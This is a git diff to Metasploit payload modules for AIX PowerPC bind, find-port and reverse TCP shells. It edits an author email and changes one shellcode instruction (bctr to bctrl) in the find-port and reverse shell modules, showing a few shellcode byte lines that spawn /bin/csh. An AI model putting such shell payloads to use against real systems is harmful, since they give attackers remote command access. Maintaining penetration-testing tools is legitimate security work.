diff --git a/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb b/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb
index 6692f15539..1420263628 100644
--- a/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb
+++ b/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb
@@ -25,7 +25,7 @@ module Metasploit3
 			'Name'          => 'AIX Command Shell, Bind TCP Inline',
 			'Version'       => '$Revision$',
 			'Description'   => 'Listen for a connection and spawn a command shell',
-			'Author'        => 'Ramon de Carvalho Valle <ramon@risesecurity.org>',
+			'Author'        => 'Ramon de Carvalho Valle <ramon[at]risesecurity.org>',
 			'License'       => MSF_LICENSE,
 			'Platform'      => 'aix',
 			'Arch'          => ARCH_PPC,
diff --git a/modules/payloads/singles/aix/ppc/shell_find_port.rb b/modules/payloads/singles/aix/ppc/shell_find_port.rb
index f8e512affe..47927929ac 100644
--- a/modules/payloads/singles/aix/ppc/shell_find_port.rb
+++ b/modules/payloads/singles/aix/ppc/shell_find_port.rb
@@ -98,7 +98,7 @@ module Metasploit3
 		"\x7c\x24\x0b\x78"     +#   mr      r4,r1                      #
 		@cal_execve +
 		"\x7f\xc9\x03\xa6"     +#   mtctr   r30                        #
-		"\x4e\x80\x04\x20"     +#   bctr                               #
+		"\x4e\x80\x04\x21"     +#   bctrl                              #
 		"/bin/csh"
 
 	end
diff --git a/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb b/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb
index 7b2d217076..bb4e4f8ec2 100644
--- a/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb
@@ -95,7 +95,7 @@ module Metasploit3
 		"\x7c\x24\x0b\x78"     +#   mr      r4,r1                      #
 		@cal_execve +
 		"\x7f\xc9\x03\xa6"     +#   mtctr   r30                        #
-		"\x4e\x80\x04\x20"     +#   bctr                               #
+		"\x4e\x80\x04\x21"     +#   bctrl                              #
 		"/bin/csh"
 
 	end